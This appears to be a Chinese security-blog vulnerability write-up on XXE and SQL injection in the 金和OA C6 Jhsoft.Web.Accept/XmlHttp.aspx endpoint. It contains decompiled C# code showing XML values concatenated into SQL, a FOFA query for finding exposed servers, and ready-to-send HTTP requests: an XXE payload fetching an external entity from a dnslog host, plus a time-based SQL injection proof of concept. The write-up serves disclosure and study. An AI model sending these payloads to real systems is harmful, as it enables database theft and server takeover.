金和OA Jhsoft.Web.Accept/XmlHttp.aspx XXE漏洞+SQL注入漏洞


漏洞简介

金和网络是专业信息化服务商,为城市监管部门提供了互联网+监管解决方案,为企事业单位提供组织协同OA系统开发平台,电子政务一体化平台,智慧电商平台等服务。金和OA C6 Jhsoft.Web.Accept/XmlHttp.aspx 接口处存在SQL注入漏洞,攻击者除了可以利用 SQL 注入漏洞获取数据库中的信息(例如,管理员后台密码、站点的用户个人信息)之外,甚至在高权限的情况可向服务器中写入木马,进一步获取服务器系统权限。

影响版本

金和OA C6

fofa语法

app="金和网络-金和OA"

漏洞分析

在 bin 目录下查找 JHSoft.Web.Accept.dll 将其进行反编译后找到 XmlHttp 的处理逻辑

protected void Page_Load(object sender, EventArgs e)
{
  DBOperator dbOperator = DBOperatorFactory.GetDBOperator();
  XmlDocument xmlDocument = new XmlDocument();
  xmlDocument.Load(this.Request.InputStream);
  switch (xmlDocument.SelectSingleNode("//root//Flag").InnerText)
  {
    case "savesendperson":
      string innerText1 = xmlDocument.SelectSingleNode("//root//hid1").InnerText;
      string innerText2 = xmlDocument.SelectSingleNode("//root//hid2").InnerText;
      List<string> stringList = new List<string>();
      if (string.op_Inequality(innerText1, ""))
      {
        foreach (DataRow row in (InternalDataCollectionBase) dbOperator.ExecSQLReDataTable($"select userid from dbo.vw_Users where DeptID in ({innerText1}) and DeleteFlag = 0 and SysFlag = 0 and UserType<> 2").Rows)
        {
          if (!stringList.Contains(row["userid"].ToString()))
            stringList.Add(row["userid"].ToString());
        }
      }
      if (string.op_Inequality(innerText2, ""))
      {
        foreach (DataRow row in (InternalDataCollectionBase) dbOperator.ExecSQLReDataTable($"select userid from dbo.vw_Users where DeptID in ({innerText2}) and DeleteFlag = 0 and SysFlag = 0 and UserType<> 2").Rows)
        {
          if (!stringList.Contains(row["userid"].ToString()))
            stringList.Add(row["userid"].ToString());
        }
      }
      string str1 = "";
      foreach (string str2 in stringList)
        str1 = $"{str1}{str2},";
      string str3 = str1.TrimEnd(new char[1]{ ',' });
      string QueryString4 = $"delete from tb_hyz_ioasendPerson where datediff(day,getdate(),send_time)<>0 ; insert into tb_hyz_ioasendPerson values('{this.Session["usercode"].ToString()}','{str3}',getdate())";
      dbOperator.ExecSQLReInt(QueryString4);
      break;
    case "checkAnJuan":
      string innerText3 = xmlDocument.SelectSingleNode("//root//ajname").InnerText;
      string QueryString5 = $"select * from vw_ArchivesDossierSearch where dossyear = '{xmlDocument.SelectSingleNode("//root//nd").InnerText}' and dosstitle = '{innerText3}'";
      DataTable dataTable2 = dbOperator.ExecSQLReDataTable(QueryString5);
      if (dataTable2 != null && ((InternalDataCollectionBase) dataTable2.Rows).Count > 0)
        this.Response.Write("该年度案卷名称已存在!");
      else
        this.Response.Write("");
      this.Response.End();
      break;
    case "checkJGWT":
      string innerText4 = xmlDocument.SelectSingleNode("//root//jgwtname").InnerText;
      string QueryString6 = $"select * from ArchivesDossierType where delflag = 0 and DossTName = '{innerText4}'";
      string empty = string.Empty;
      try
      {
        string innerText5 = xmlDocument.SelectSingleNode("//root//id").InnerText;
        if (!string.IsNullOrEmpty(innerText5))
          QueryString6 = $"select * from ArchivesDossierType where delflag = 0 and DossTName = '{innerText4}' and DossTID<>'{innerText5}'";
      }
      catch
      {
      }
      DataTable dataTable3 = dbOperator.ExecSQLReDataTable(QueryString6);
      if (dataTable3 != null && ((InternalDataCollectionBase) dataTable3.Rows).Count > 0)
        this.Response.Write("该机构问题名称已存在!");
      else
        this.Response.Write("");
      this.Response.End();
      break;
    case "plan_time":
      string innerText6 = xmlDocument.SelectSingleNode("//root//userid").InnerText;
      string QueryString7 = $"select CalendarBeginTime from dbo.CalendarMain where CalendarTitle ='明日提示' and CalendarContent = '{xmlDocument.SelectSingleNode("//root//content").InnerText}' and CalendarUser='{innerText6}' and delFlag=0";
      DataTable dataTable4 = dbOperator.ExecSQLReDataTable(QueryString7);
      if (dataTable4 != null && ((InternalDataCollectionBase) dataTable4.Rows).Count > 0)
      {
        string str4 = $"{dataTable4.Rows[0][0].ToString().Split(new char[1]
        {
          ' '
        })[1].Split(new char[1]{ ':' })[0]}:{dataTable4.Rows[0][0].ToString().Split(new char[1]
        {
          ' '
        })[1].Split(new char[1]{ ':' })[1]}";
        this.Response.Write($"{dataTable4.Rows[0][0].ToString().Split(new char[1]
        {
          ' '
        })[0]}|{str4}|yes");
      }
      else
      {
        HttpResponse response = this.Response;
        DateTime dateTime = DateTime.Now;
        dateTime = dateTime.AddDays(1.0);
        string str5 = dateTime.ToString("yyyy-MM-dd") + "|09:00|no";
        response.Write(str5);
      }
      this.Response.End();
      break;
  }
}

请求内容直接使 xmlDocument.Load 加载处理,造成XXE漏洞,同时根据 Flag 的值不同做不同的处理,当 Flag 的值为 savesendperson 时,hid1、hid2 的值就被直接拼接进SQL语句中执行,无任何过滤和校验,造成SQL注入漏洞,其他如 checkJGWT、plan_time 也是存在同样的SQL注入漏洞。

漏洞复现

XXE

POST /c6/Jhsoft.Web.Accept/XmlHttp.aspx/ HTTP/1.1
Host: jhsoft.mrxn.net
Content-Type: application/x-www-form-urlencoded

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://xxe.dnslog.pt/xxe_test">
%remote;]>
<root/>

SQL注入

POST /c6/Jhsoft.Web.Accept/XmlHttp.aspx/ HTTP/1.1
Host: jhsoft.mrxn.net
Content-Type: application/xml

<root>
  <hid1>1)SQLI_POC </hid1>
  <hid2>1)SQLI_POC </hid2>
  <ajname></ajname>
  <jgwtname></jgwtname>
  <id></id>
  <userid></userid>
  <Flag>savesendperson</Flag>
  <fieldcode></fieldcode>
</root>

成功延时 6 秒钟


手机扫码阅读

西部数码 NAS ftp_download.php 命令执行漏洞

西部数码 NAS users.php 命令执行漏洞

评 论